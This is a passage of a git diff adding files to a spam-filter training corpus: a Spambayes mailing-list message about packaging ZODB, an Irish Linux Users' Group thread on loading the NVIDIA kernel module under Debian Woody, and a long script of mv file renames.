Wil(?AS(@9j"G@o-UR8(BU$)u.%I;*K9%4Vj.fO$W9-bjxPgl%|#{^W@e#1/jZ@,G:>&; + JzJrBqMqomx3Z#Hg.``g5v%R[+PzjYtAa&l@EtK{R<;.,gV`5$8Go1OJB=L`R(<)U$M4YK-t; + a}oA1y([AV@r$%?AJW[:_|_*r44[Gl{3@:Ff6U9XFOJxp%lZWI-d0-1l5+6aMAOAT+Ac%q@E3t|:2; + lpSwi=1"gf7g{Bz+U2MI +X-Thought: Yes, you still make me nervous. Relax. +X-Thought-Attribution: Charlotte Costa +X-PGP-Key-Fingerprint: A862 F105 13EF 7FAF 4F08 78B4 9168 856B 48BF F157 +X-Callsign: KD7OQI +From: Neale Pickett +Date: 26 Nov 2002 08:19:23 -0800 +In-Reply-To: +Message-Id: +User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Cc: Spambayes +X-Beenthere: spambayes@python.org +X-Mailman-Version: 2.1b5 +Precedence: list +List-Id: Discussion list for Pythonic Bayesian classifier +List-Help: +List-Post: +List-Subscribe: , + +List-Archive: +List-Unsubscribe: , + +Sender: spambayes-bounces@python.org +Errors-To: spambayes-bounces@python.org + +So then, "Mark Hammond" is all like: + +> So, given that, ZODB is sounding attractive. I would package it up, so a +> few hundred extra K is probably no big deal. The code could fall back to +> the slow-loading pickles, so people running from source still work, just +> possibly not as well. + +I haven't used ZODB much really but it sure looks like the Right Way. I +don't think it will fly with the unwashed Unix masses, but it sounds +like a piece of cake with the Windows crowd. That makes sense; you only +have one OS vendor and one processor family to support. + +I'm going to go sulk in /dev/corner now. + +Neale + +_______________________________________________ +Spambayes mailing list +Spambayes@python.org +http://mail.python.org/mailman/listinfo/spambayes + + diff --git a/bayes/spamham/easy_ham_2/01400.f897f0931e461e7b2e964d28e927c35e b/bayes/spamham/easy_ham_2/01400.f897f0931e461e7b2e964d28e927c35e new file mode 100644 index 0000000..569a8a1 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01400.f897f0931e461e7b2e964d28e927c35e @@ -0,0 +1,168 @@ +From ilug-admin@linux.ie Wed Dec 4 11:52:36 2002 +Return-Path: +Delivered-To: yyyy@localhost.spamassassin.taint.org +Received: from localhost (jalapeno [127.0.0.1]) + by jmason.org (Postfix) with ESMTP id 3DDBB16F16 + for ; Wed, 4 Dec 2002 11:52:30 +0000 (GMT) +Received: from jalapeno [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 04 Dec 2002 11:52:30 +0000 (GMT) +Received: from lugh.tuatha.org (postfix@lugh.tuatha.org [194.125.145.45]) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id gB4A4c808903 for + ; Wed, 4 Dec 2002 10:04:38 GMT +Received: from lugh.tuatha.org (localhost [127.0.0.1]) by lugh.tuatha.org + (Postfix) with ESMTP id 30E6B34225; Wed, 4 Dec 2002 10:06:12 +0000 (GMT) +Delivered-To: linux.ie-ilug@localhost +Received: from AUSADMMSPS305.aus.amer.dell.com + (ausadmmsps305.aus.amer.dell.com [143.166.224.100]) by lugh.tuatha.org + (Postfix) with SMTP id 3B1373420C for ; Wed, 4 Dec 2002 + 10:05:42 +0000 (GMT) +Received: from 143.166.227.176 by AUSADMMSPS305.aus.amer.dell.com with + ESMTP (Tumbleweed MMS SMTP Relay (MMS v4.7);); Wed, 04 Dec 2002 04:05: 40 + -0600 +X-Server-Uuid: bc938b4d-8e35-4c08-ac42-ea3e606f44ee +Received: by ausxc08.us.dell.com with Internet Mail Service (5.5.2650.21 ) + id ; Wed, 4 Dec 2002 04:03:04 -0600 +Message-Id: +From: Conor_D_Wynne@Dell.com +To: ilug@linux.ie +Subject: RE: [ILUG] NVIDIA and Debian Woody +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2650.21) +X-WSS-Id: 11F30CFE7232137-01-01 +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Beenthere: ilug@linux.ie +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Irish Linux Users' Group +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 4 Dec 2002 04:05:38 -0600 +Date: Wed, 4 Dec 2002 04:05:38 -0600 + +Hi there, + +Now this is probably of no use to you whatsoever, but... + +Not a deb-head, but I also have a problem regards NVidia. I've two machines, +pretty much the same hardware. +athlon 1700XP's, both have NVidia cards, one Gforce3 Ti and a Gforce2MX, +both use the same driver module. + +Both have same kernel version albeit it compiled for their particular +hardware. + +One works perfectly, the other fails to load. When I check with lsmod, I can +see the NVdriver is loaded, but not used ;--( +Thus when I startx, it bombs out. + +IU still have X with the default nv driver and crappy accelleration --> +650fps with glxgears [should be over 2000fps] +Its not a hardware issue with the cards as I swapped them over and get the +same symptoms. + +I reckon my mobo is cack, I've tried swapping slots around, reserving +resources etc all to no avail. +Should there be an interrupt for the nv card? I haven't checked the other +box yet. + +Regards, +CW + +------------------- +On Tue, 03 Dec 2002, Mark Page wrote: + +> Was running Debian Woody perfectly well until I installed the NVIDIA 3D +> tar packages. + +You probably stil are ;) + +> Both the kernel and GLX packages installed with no problem and I then +> amended the XFree config file appropriately (according to all +> instructions). Neither GDM nor KDM will now fire up returning me to the +> console screen. + +ie X is broken. + +> Running startx I isolated the problem to a failure to load the nvidia +> kernel module - By cd'ing to the kernel module file and re-running 'make +> install' I can get a workable xserver + +so you fixed X. + +> minus the preferences you would get from either gdm or kdm and to be +> honest the GUI is horrible. + +If X is working and you get a brief Nvidia splash screen then this is +likely nothing to do with the driver itself. You should be able to use kdm +or gdm with the nvidia Xserver. What exactly did you change in your +XF86Config? Will gdm/kdm not start? + +> I followed the nvidia suggestion of 'make install +> SYSINCLUDE=/path/to/kernel/headers' and whilst this appears to install +> ok upon reboot I am back to the same console login and having to go +> through the same reinstall of the kernel module. I have tried rewriting +> the XF config file to it's original state with no success. + +Well, this sounds like the NVIDIA kernel module isn't loading on boot. +When it *is* working do a quick + +/sbin/lsmod + +and look for the module name (something like 'NVDriver'). Then put this on +a new line in + +/etc/modules + +in order that linux will load it on boot. You can just do + +modprobe nvdriver + +to load it by hand. Your make install did this as well as reinstalling the +driver in /lib etc. You should also get a message saying loading the +nvidia driver taints your kernel (which it does, in the sense that it's not +open source). + +> Is this a problem anyone else has encountered and what is the best +> solution? Can I rid myself of the tar file installations and find some +> specific .deb packages? + +The nvidia driver source is in the Woody tree. + +http://packages.debian.org/stable/x11/nvidia-kernel-src.html + +so you can do + +apt-get install nvidia-kernel-src + +and then compile, although I've always gone the route you're doing now. + +Ideally the nvidia driver would be a part of the kernel from day 1. +However, nvidia have not open sourced it (most of the above source is +pre-compiled object code), but in order for it to work with your specific +kernel you must compile against your kernel headers (as you did). As +debian has lots of potential kernels they can't have one nvdriver package +and have chosen instead to provide the source. Actually I don't know if +they're permitted to distribute binaries by nvidia's license anyway. + +Gavin + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/cmds b/bayes/spamham/easy_ham_2/cmds new file mode 100644 index 0000000..d7d24ba --- /dev/null +++ b/bayes/spamham/easy_ham_2/cmds @@ -0,0 +1,1400 @@ +mv 00001.d4365609129eef855bd5da583c90552b 00001.1a31cc283af0060967a233d26548a6ce +mv 00002.5a587ae61666c5aa097c8e866aedcc59 00002.5a587ae61666c5aa097c8e866aedcc59 +mv 00003.19be8acd739ad589cd00d8425bac7115 00003.19be8acd739ad589cd00d8425bac7115 +mv 00004.b2ed6c3c62bbdfab7683d60e214d1445 00004.b2ed6c3c62bbdfab7683d60e214d1445 +mv 00005.07b9d4aa9e6c596440295a5170111392 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00113.c3f906e0fa61549e358af0ed02a70052 +mv 00114.d3ca141da5a2b48b30d803292dad2da7 00114.d3ca141da5a2b48b30d803292dad2da7 +mv 00115.c2fdffd60ddc035e3ac642f69301715f 00115.c2fdffd60ddc035e3ac642f69301715f +mv 00116.409b29c26edef06268b4bfa03ef1367a 00116.409b29c26edef06268b4bfa03ef1367a +mv 00117.327d1cd221779efbb7839d15fe3fd4d7 00117.327d1cd221779efbb7839d15fe3fd4d7 +mv 00118.fec4bead22e8bbaebd24ee2de8d6397f 00118.fec4bead22e8bbaebd24ee2de8d6397f +mv 00119.42c5df54c26a15ca4b9b10e4b67a4c2b 00119.42c5df54c26a15ca4b9b10e4b67a4c2b +mv 00120.f6fed5d0bca8c45edaad0f6b09f70e16 00120.f6fed5d0bca8c45edaad0f6b09f70e16 +mv 00121.4c398f0106848ae9f9d3462c2296de17 00121.4c398f0106848ae9f9d3462c2296de17 +mv 00122.5ee71dbda319d0b1a6eed0563c2cebf9 00122.5ee71dbda319d0b1a6eed0563c2cebf9 +mv 00123.3921de802520cfe7a5b3e0777aa4affc 00123.3921de802520cfe7a5b3e0777aa4affc +mv 00124.2abb196cdab89d7958016ecb50af69be 00124.2abb196cdab89d7958016ecb50af69be +mv 00125.e6d80b873b71ae5324679a4dbefe4eaf 00125.e6d80b873b71ae5324679a4dbefe4eaf +mv 00126.0b7d3ede2d98218008cdb359d9f9b708 00126.0b7d3ede2d98218008cdb359d9f9b708 +mv 00127.3ac4ea08d4a80af1f6de12b96d650bdd 00127.3ac4ea08d4a80af1f6de12b96d650bdd +mv 00128.2d0445f396770a673681019d0fbbf4c7 00128.2d0445f396770a673681019d0fbbf4c7 +mv 00129.9f6d0c629e16372a804ec15ea8cd89a8 00129.9f6d0c629e16372a804ec15ea8cd89a8 +mv 00130.b7ff6705a1318fb9bc7e557886ef4bd1 00130.b7ff6705a1318fb9bc7e557886ef4bd1 +mv 00131.4d06fea0c1c9623082010e4f5d9815b1 00131.4d06fea0c1c9623082010e4f5d9815b1 +mv 00132.45a855fd256c018dd4232353b72ae9ec 00132.45a855fd256c018dd4232353b72ae9ec +mv 00133.035335262a159fef46fff7499a8ac28f 00133.035335262a159fef46fff7499a8ac28f +mv 00134.ff80b3057938bbbbc9e71e71ac7f4bd9 00134.ff80b3057938bbbbc9e71e71ac7f4bd9 +mv 00135.0d5ad403b361fd41210885d4e4b44e81 00135.0d5ad403b361fd41210885d4e4b44e81 +mv 00136.ad45de584fcb47c912a00b30e93c890b 00136.ad45de584fcb47c912a00b30e93c890b +mv 00137.4fa7edf6ba7ea2866b5ccf00de3dd6e9 00137.4fa7edf6ba7ea2866b5ccf00de3dd6e9 +mv 00138.0e5632de530beed8909638739b9b1df0 00138.0e5632de530beed8909638739b9b1df0 +mv 00139.c27d87382549a9b688309fabc221261d 00139.c27d87382549a9b688309fabc221261d +mv 00140.3ca2fd4aeeb1970c6d2f705e6f53436a 00140.3ca2fd4aeeb1970c6d2f705e6f53436a +mv 00141.aec902144f2d18dce81d4a5dd84e11bf 00141.aec902144f2d18dce81d4a5dd84e11bf +mv 00142.98a680c9dd137bdbbca8a00790dc3e45 00142.98a680c9dd137bdbbca8a00790dc3e45 +mv 00143.c497f4c428f9ec61888084e3e8207deb 00143.c497f4c428f9ec61888084e3e8207deb +mv 00144.be6a9360ea183b54e0f2a39716257f2b 00144.be6a9360ea183b54e0f2a39716257f2b +mv 00145.a62431b99d739b3aab6139b417ed49a7 00145.a62431b99d739b3aab6139b417ed49a7 +mv 00146.ee13fb620cb6632027aac9a6b7e536a2 00146.ee13fb620cb6632027aac9a6b7e536a2 +mv 00147.ed6083bcb7c519b09300f3b414ac8912 00147.ed6083bcb7c519b09300f3b414ac8912 +mv 00148.fc2f73eedca689766a5e3c796e9bd928 00148.fc2f73eedca689766a5e3c796e9bd928 +mv 00149.46b139b2476b135f24f53d6c8356f1e3 00149.46b139b2476b135f24f53d6c8356f1e3 +mv 00150.8f7dc1318823556f1eca402af39e08e5 00150.8f7dc1318823556f1eca402af39e08e5 +mv 00151.234f2b1f9331740ed7fc69418085fe2a 00151.234f2b1f9331740ed7fc69418085fe2a +mv 00152.1e72a17fc4bcc0dc86725b90d5c48ab7 00152.1e72a17fc4bcc0dc86725b90d5c48ab7 +mv 00153.9ef75a752f258bc5e32f8d2be702a7c7 00153.9ef75a752f258bc5e32f8d2be702a7c7 +mv 00154.7bda4738681c601e0fd93f3c6d1ae4a1 00154.7bda4738681c601e0fd93f3c6d1ae4a1 +mv 00155.54b624e309bf09793148296c7506f6ab 00155.54b624e309bf09793148296c7506f6ab +mv 00156.e4fd48f062c4059e47db9888e09ca85b 00156.e4fd48f062c4059e47db9888e09ca85b +mv 00157.bc9f30a8cf071135d4f3145a15013f72 00157.bc9f30a8cf071135d4f3145a15013f72 +mv 00158.ff9883d957625bb98a5f6ca28fa7d495 00158.ff9883d957625bb98a5f6ca28fa7d495 +mv 00159.193c2e75773e8a7c7320c9974257da5a 00159.193c2e75773e8a7c7320c9974257da5a +mv 00160.b7ad2878346c13c7726f872d632c42b5 00160.b7ad2878346c13c7726f872d632c42b5 +mv 00161.ff20c49f90c9405fc62064706ddcd615 00161.ff20c49f90c9405fc62064706ddcd615 +mv 00162.e00f7a587737adf0ac5301861e887e73 00162.e00f7a587737adf0ac5301861e887e73 +mv 00163.b1c2e35dfbadbea6df3815717933f1fa 00163.b1c2e35dfbadbea6df3815717933f1fa +mv 00164.9e2e72c2afac966e790a7ab09ef24937 00164.9e2e72c2afac966e790a7ab09ef24937 +mv 00165.73687c8da9e868166f3ca6b8e94073a8 00165.73687c8da9e868166f3ca6b8e94073a8 +mv 00166.8525e30f5b1574a4cb08d5fc8cb740e5 00166.8525e30f5b1574a4cb08d5fc8cb740e5 +mv 00167.47ad54094c0bcf05c679f058cf3599a3 00167.47ad54094c0bcf05c679f058cf3599a3 +mv 00168.716b0a26aa6ae53b72d9d3c297390424 00168.716b0a26aa6ae53b72d9d3c297390424 +mv 00169.701617763832617a7d0d1dfbc08b8a0d 00169.701617763832617a7d0d1dfbc08b8a0d +mv 00170.2368261c3f59066fc1b0c27c5495113e 00170.2368261c3f59066fc1b0c27c5495113e +mv 00171.0982e9adc7d4a88cda1c9b6d8b469451 00171.0982e9adc7d4a88cda1c9b6d8b469451 +mv 00172.85ee50d59c5e7c74419b456e4fd0a09b 00172.85ee50d59c5e7c74419b456e4fd0a09b +mv 00173.cc3194ab88e30b4f6196be879cfc8a56 00173.cc3194ab88e30b4f6196be879cfc8a56 +mv 00174.8f16cc9b5762f4b43fb3b8afc66e8544 00174.8f16cc9b5762f4b43fb3b8afc66e8544 +mv 00175.13e791af87dd358cf3882279e4ee494f 00175.13e791af87dd358cf3882279e4ee494f +mv 00176.d346b5e8e81c7459364a76408be5860d 00176.d346b5e8e81c7459364a76408be5860d +mv 00177.0bac33d77bd12fc4da3395a535f2a664 00177.0bac33d77bd12fc4da3395a535f2a664 +mv 00178.f23e3d8a5c020bfba4914a4f2a945937 00178.f23e3d8a5c020bfba4914a4f2a945937 +mv 00179.d15992f3e182d401cc37a1b79c251d03 00179.d15992f3e182d401cc37a1b79c251d03 +mv 00180.72b2a009f9799b96a4235b1fbac35eb4 00180.72b2a009f9799b96a4235b1fbac35eb4 +mv 00181.d2bdbc9c256b67a7fa484e989449328b 00181.d2bdbc9c256b67a7fa484e989449328b +mv 00182.025cc878aad27ae621db5b5628540989 00182.025cc878aad27ae621db5b5628540989 +mv 00183.c41caba7916cc619cd4e2543eb1aea40 00183.c41caba7916cc619cd4e2543eb1aea40 +mv 00184.1d7301eb34c99d53e37f7e891b847ede 00184.1d7301eb34c99d53e37f7e891b847ede +mv 00185.b6902dc0d90f39f906bae90a74907357 00185.b6902dc0d90f39f906bae90a74907357 +mv 00186.d42c074a7cb6f93949c3723b90e05eef 00186.d42c074a7cb6f93949c3723b90e05eef +mv 00187.8495ea1461cf3d0853576cd0be8fdf71 00187.8495ea1461cf3d0853576cd0be8fdf71 +mv 00188.10d8b09baef47a07f0b96990e4bfa4da 00188.10d8b09baef47a07f0b96990e4bfa4da +mv 00189.959922d0363f85a2a6e7cc689b05b75c 00189.959922d0363f85a2a6e7cc689b05b75c +mv 00190.598d2a83744a3a7ac536e36ca56d7e65 00190.598d2a83744a3a7ac536e36ca56d7e65 +mv 00191.96c361ca02379ca61455f8664b000cd0 00191.96c361ca02379ca61455f8664b000cd0 +mv 00192.b1c13f7caac54fca99993a3478d603d9 00192.b1c13f7caac54fca99993a3478d603d9 +mv 00193.61ef7d079ac232c98ef0ac400cf668a1 00193.61ef7d079ac232c98ef0ac400cf668a1 +mv 00194.bfa44ea05c7498e0c2857265b5e09003 00194.bfa44ea05c7498e0c2857265b5e09003 +mv 00195.6120b0cdf8f72c45ebaf0d81c28ee457 00195.6120b0cdf8f72c45ebaf0d81c28ee457 +mv 00196.8f7b9e0c0114f5fde680158804bc2f9a 00196.8f7b9e0c0114f5fde680158804bc2f9a +mv 00197.b96f868a833d3ac47289450185767439 00197.b96f868a833d3ac47289450185767439 +mv 00198.d2dbd23153731ad2975c61736208d2fc 00198.d2dbd23153731ad2975c61736208d2fc +mv 00199.e3da97cca08a348be097406da950e25f 00199.e3da97cca08a348be097406da950e25f +mv 00200.a85d0ee8b147e0d0de9db7bc84117551 00200.a85d0ee8b147e0d0de9db7bc84117551 +mv 00201.981524ec8ff1a3d171b662c1dbb831a7 00201.981524ec8ff1a3d171b662c1dbb831a7 +mv 00202.28c767c7a895f6940228d3f1cbc95319 00202.28c767c7a895f6940228d3f1cbc95319 +mv 00203.d235730a5eb66c00ea2c1ad65f415ad9 00203.d235730a5eb66c00ea2c1ad65f415ad9 +mv 00204.f3906165e216e89d524479d6da3158e8 00204.f3906165e216e89d524479d6da3158e8 +mv 00205.1b7b16facf48373401d78996a92f6666 00205.1b7b16facf48373401d78996a92f6666 +mv 00206.59111a6330a2d989698c4d92967ed98d 00206.59111a6330a2d989698c4d92967ed98d +mv 00207.b9d4e94f1d5159f207cfe562194ab0c6 00207.b9d4e94f1d5159f207cfe562194ab0c6 +mv 00208.d44ac6333a9b4ad601299143998097b9 00208.d44ac6333a9b4ad601299143998097b9 +mv 00209.3ebcc564b5a595d391416cba9d0696d0 00209.3ebcc564b5a595d391416cba9d0696d0 +mv 00210.ca401834d76bbedb98e548160e2ab559 00210.ca401834d76bbedb98e548160e2ab559 +mv 00211.835ec23b746b6aede4e2e15ced421bb4 00211.835ec23b746b6aede4e2e15ced421bb4 +mv 00212.df5211161d938a2547804a50f0a8698f 00212.df5211161d938a2547804a50f0a8698f +mv 00213.8b921d7940c5b2ac05892b648bd77231 00213.8b921d7940c5b2ac05892b648bd77231 +mv 00214.4a5f7fc36eda589a5716dd090c67e90a 00214.4a5f7fc36eda589a5716dd090c67e90a +mv 00215.676fa487d6122e4a57b37a5edffa4dc2 00215.676fa487d6122e4a57b37a5edffa4dc2 +mv 00216.53a04d271ae7b0752fef521c2d5709f7 00216.53a04d271ae7b0752fef521c2d5709f7 +mv 00217.8ea77706594281e2c53a078c4a99b68a 00217.8ea77706594281e2c53a078c4a99b68a +mv 00218.64c9d00b1056b230a115692edc35e85a 00218.64c9d00b1056b230a115692edc35e85a +mv 00219.0e25ffd61eea2b5bf08c9575a3afa57d 00219.0e25ffd61eea2b5bf08c9575a3afa57d +mv 00220.c07529e1ed4db87e5f59922634b6c2ec 00220.c07529e1ed4db87e5f59922634b6c2ec +mv 00221.256f4b655a55d56db6f498eb9ce6f50c 00221.256f4b655a55d56db6f498eb9ce6f50c +mv 00222.4cde485804474931696b5ada162d61ff 00222.4cde485804474931696b5ada162d61ff +mv 00223.7eb46d1a710b80df0d9700fe631ad9bb 00223.7eb46d1a710b80df0d9700fe631ad9bb +mv 00224.3622520511e843a434f9ef3b990781f8 00224.3622520511e843a434f9ef3b990781f8 +mv 00225.92e946af104a8d63e0dfff326cfa6adb 00225.92e946af104a8d63e0dfff326cfa6adb +mv 00226.cbfc41834ecb57c1a40e860e14b16950 00226.cbfc41834ecb57c1a40e860e14b16950 +mv 00227.69a8ffbe70b32f6532a151b0854d24a6 00227.69a8ffbe70b32f6532a151b0854d24a6 +mv 00228.9f3a2b47d0663bf825eafcb961773e62 00228.9f3a2b47d0663bf825eafcb961773e62 +mv 00229.a13256f5a663bbfb8050a7abe6932558 00229.a13256f5a663bbfb8050a7abe6932558 +mv 00230.ff81becf76d1c77011e4218a6dba7a9a 00230.ff81becf76d1c77011e4218a6dba7a9a +mv 00231.8096ae53e70b1b72b5935b12b823597b 00231.8096ae53e70b1b72b5935b12b823597b +mv 00232.24e7a66753dfa7f93df6a2c5125e0cb3 00232.24e7a66753dfa7f93df6a2c5125e0cb3 +mv 00233.abed26eecbf8b61a482439ddeaeb9b62 00233.abed26eecbf8b61a482439ddeaeb9b62 +mv 00234.4901bd911992ec875045886a7e311562 00234.4901bd911992ec875045886a7e311562 +mv 00235.8b55a8bb29e92f8db66639e36f216721 00235.8b55a8bb29e92f8db66639e36f216721 +mv 00236.b173a89a323f88ec8b8a4caef8ee6aaa 00236.b173a89a323f88ec8b8a4caef8ee6aaa +mv 00237.f1cc68d90b0a47f01678c5eb0dc1ea7a 00237.f1cc68d90b0a47f01678c5eb0dc1ea7a +mv 00238.29f6acf47737195879e35b049dd0b6f4 00238.29f6acf47737195879e35b049dd0b6f4 +mv 00239.eba234b87a8928388e54ba31441847ff 00239.eba234b87a8928388e54ba31441847ff +mv 00240.4c883be64d3a929c5422422211076505 00240.4c883be64d3a929c5422422211076505 +mv 00241.1cb3df109857b541b9829f93fb5189d1 00241.1cb3df109857b541b9829f93fb5189d1 +mv 00242.a0fd5ccd8b2175f222b822229a2a77c1 00242.a0fd5ccd8b2175f222b822229a2a77c1 +mv 00243.edda2c702247700524eb49178f57c34c 00243.edda2c702247700524eb49178f57c34c +mv 00244.5c0c684db2eb104130bee7f3ddfa261a 00244.5c0c684db2eb104130bee7f3ddfa261a +mv 00245.1a6c31f4aa59dc224123471dd267a63f 00245.1a6c31f4aa59dc224123471dd267a63f +mv 00246.5322e23629e73664f224aa829efb63c5 00246.5322e23629e73664f224aa829efb63c5 +mv 00247.50ea609a623c12f75df32997a35b45cb 00247.50ea609a623c12f75df32997a35b45cb +mv 00248.328aa49432560bc538794a44a18ff762 00248.328aa49432560bc538794a44a18ff762 +mv 00249.7187413684e619f7f3ce94c76f56c9b0 00249.7187413684e619f7f3ce94c76f56c9b0 +mv 00250.6178c7f226315407d684f07aa197261b 00250.6178c7f226315407d684f07aa197261b +mv 00251.c5d9eca7f5a2aabbb152e26bef36eb55 00251.c5d9eca7f5a2aabbb152e26bef36eb55 +mv 00252.817dc86471c7bd29d5904872f1731d57 00252.817dc86471c7bd29d5904872f1731d57 +mv 00253.e8d95ebfdb730a968cd7430b93f526e6 00253.e8d95ebfdb730a968cd7430b93f526e6 +mv 00254.0bb63181d3edda61bd5ff0314649b817 00254.0bb63181d3edda61bd5ff0314649b817 +mv 00255.10e322e983fa6a8357a4038e832e64a5 00255.10e322e983fa6a8357a4038e832e64a5 +mv 00256.0e664e0210522f7788b27eb1ad9b8c87 00256.0e664e0210522f7788b27eb1ad9b8c87 +mv 00257.2bebb97cf4031fcf184da6a5df5e979c 00257.2bebb97cf4031fcf184da6a5df5e979c +mv 00258.3f5bcbda6db0cfc769cd544cff0e21e9 00258.3f5bcbda6db0cfc769cd544cff0e21e9 +mv 00259.977d4930f990d0c5b68b362a33b14d5f 00259.977d4930f990d0c5b68b362a33b14d5f +mv 00260.20f2278a021f28b2d5f18b13b6e19c4b 00260.20f2278a021f28b2d5f18b13b6e19c4b +mv 00261.ace6274eeb78df574eed018a0a87a7ea 00261.ace6274eeb78df574eed018a0a87a7ea +mv 00262.caab5fc07afcb77ff5d760ed677b4aec 00262.caab5fc07afcb77ff5d760ed677b4aec +mv 00263.84321935c6f5a34e6a124bbd64b9b5c7 00263.84321935c6f5a34e6a124bbd64b9b5c7 +mv 00264.9552e74929dc9ef75aa7ea8b57d527fe 00264.9552e74929dc9ef75aa7ea8b57d527fe +mv 00265.ba7a5ceb6bf11bd9123f739a36004e40 00265.ba7a5ceb6bf11bd9123f739a36004e40 +mv 00266.d3cb4ee5c02b96f0edac346785b7c5f3 00266.d3cb4ee5c02b96f0edac346785b7c5f3 +mv 00267.12507328e1049b1fa5c7c139b7cc61fa 00267.12507328e1049b1fa5c7c139b7cc61fa +mv 00268.b9c5022544ced77b38a7f231e42b04f6 00268.b9c5022544ced77b38a7f231e42b04f6 +mv 00269.5e79c797bc756cc555e6877c5fbefc04 00269.5e79c797bc756cc555e6877c5fbefc04 +mv 00270.a19a99f7377bfdd22784a5335fb78d70 00270.a19a99f7377bfdd22784a5335fb78d70 +mv 00271.67be0415b3bede539adec20823ddda61 00271.67be0415b3bede539adec20823ddda61 +mv 00272.d2daf940e50638774ca629aa11ab95a2 00272.d2daf940e50638774ca629aa11ab95a2 +mv 00273.3d73db3ab6dc7c9cfc71126ae18b5b1b 00273.3d73db3ab6dc7c9cfc71126ae18b5b1b +mv 00274.311fefe8182cf4103a41a41fbec2169c 00274.311fefe8182cf4103a41a41fbec2169c +mv 00275.afb39e24c794534f4a8b1b5d0ff5b19d 00275.afb39e24c794534f4a8b1b5d0ff5b19d +mv 00276.78e7158a768394040c73be015a28de0a 00276.78e7158a768394040c73be015a28de0a +mv 00277.943b5336f2a39a88253257d0b6db1d32 00277.943b5336f2a39a88253257d0b6db1d32 +mv 00278.f3d796448a64d0f66500884181458921 00278.f3d796448a64d0f66500884181458921 +mv 00279.260f32f061185e16ff3f66d31d0ecbfb 00279.260f32f061185e16ff3f66d31d0ecbfb +mv 00280.c1b4460870441298c3040f1346a58dfd 00280.c1b4460870441298c3040f1346a58dfd +mv 00281.8166d0f6c6bd6eb4ab1a9730ffbdf383 00281.8166d0f6c6bd6eb4ab1a9730ffbdf383 +mv 00282.903d8e3bf60af84c49e02e02ad8ec0f2 00282.903d8e3bf60af84c49e02e02ad8ec0f2 +mv 00283.07a5378f3ecab4348dbd4c3a25ae3725 00283.07a5378f3ecab4348dbd4c3a25ae3725 +mv 00284.3a518630eb58eb7ac1f03e1d4d0a1ddf 00284.3a518630eb58eb7ac1f03e1d4d0a1ddf +mv 00285.49d8664ce245cb396687a3f303ad124c 00285.49d8664ce245cb396687a3f303ad124c +mv 00286.8cb982ac6ef73936ac83f89bf23fcd6b 00286.8cb982ac6ef73936ac83f89bf23fcd6b +mv 00287.03ca12d32dd67af82efbbafac79d4d5a 00287.03ca12d32dd67af82efbbafac79d4d5a +mv 00288.9388b51e29a2d52191fcb2b053ace210 00288.9388b51e29a2d52191fcb2b053ace210 +mv 00289.6ab47bc2667e9a623ef3ae13a8ad231e 00289.6ab47bc2667e9a623ef3ae13a8ad231e +mv 00290.2b079837bffa2f0dea4003cf99bc36e0 00290.2b079837bffa2f0dea4003cf99bc36e0 +mv 00291.4cefa7eed26c113ee44256009896c176 00291.4cefa7eed26c113ee44256009896c176 +mv 00292.389c0e21ab950a6e28e407f01fd777d4 00292.389c0e21ab950a6e28e407f01fd777d4 +mv 00293.d7d6f188d63d99da505b454c146dac77 00293.d7d6f188d63d99da505b454c146dac77 +mv 00294.0a51c5ddbf67c2e2ac03b2fdc0858acd 00294.0a51c5ddbf67c2e2ac03b2fdc0858acd +mv 00295.37087d1f5c2678b8152b397111456d3f 00295.37087d1f5c2678b8152b397111456d3f +mv 00296.12af7606f42c491ca320c1c7a284d327 00296.12af7606f42c491ca320c1c7a284d327 +mv 00297.cd323132d57e5cb2e8599f69f6ff2848 00297.cd323132d57e5cb2e8599f69f6ff2848 +mv 00298.516883ac42f693de96cc953cf59d720b 00298.516883ac42f693de96cc953cf59d720b +mv 00299.f5ee5d9a3056c28135db57935818e138 00299.f5ee5d9a3056c28135db57935818e138 +mv 00300.7c83dd137e4d39f9be3db9eafefdd7e6 00300.7c83dd137e4d39f9be3db9eafefdd7e6 +mv 00301.bd38f1d07527919c3c177e564ee7c908 00301.bd38f1d07527919c3c177e564ee7c908 +mv 00302.9591315fff1cd2626f8e238033640130 00302.9591315fff1cd2626f8e238033640130 +mv 00303.bdb027dcedcca2601de8666ce84f9b6d 00303.bdb027dcedcca2601de8666ce84f9b6d +mv 00304.732529bb6311c2fd093521748b84caf0 00304.732529bb6311c2fd093521748b84caf0 +mv 00305.9ed354c3c27702b881ee05fe84e44f0e 00305.9ed354c3c27702b881ee05fe84e44f0e +mv 00306.678ad761d0ad47e8be91a6af232e18d4 00306.678ad761d0ad47e8be91a6af232e18d4 +mv 00307.6cfae2c5703c7eb36db9c8158c70b0ae 00307.6cfae2c5703c7eb36db9c8158c70b0ae +mv 00308.471343c72013f4df6a93a7cd51edaace 00308.471343c72013f4df6a93a7cd51edaace +mv 00309.e35e529fcea4957316806e7b653a76d8 00309.e35e529fcea4957316806e7b653a76d8 +mv 00310.5416fc4a71aadc904dbb4de56a299a71 00310.5416fc4a71aadc904dbb4de56a299a71 +mv 00311.f22b90c77d9ba409008492b1905839f8 00311.f22b90c77d9ba409008492b1905839f8 +mv 00312.b5d817c015aec10078fa7e765fb28b99 00312.b5d817c015aec10078fa7e765fb28b99 +mv 00313.bb198760694c91a9571f1cafff4eef21 00313.bb198760694c91a9571f1cafff4eef21 +mv 00314.ea2320dd4e87b08924861080f8e7b8f5 00314.ea2320dd4e87b08924861080f8e7b8f5 +mv 00315.a747789b9299a2794c398ab9fd72c5fa 00315.a747789b9299a2794c398ab9fd72c5fa +mv 00316.43881694518ce046ed02b9f0c119cb49 00316.43881694518ce046ed02b9f0c119cb49 +mv 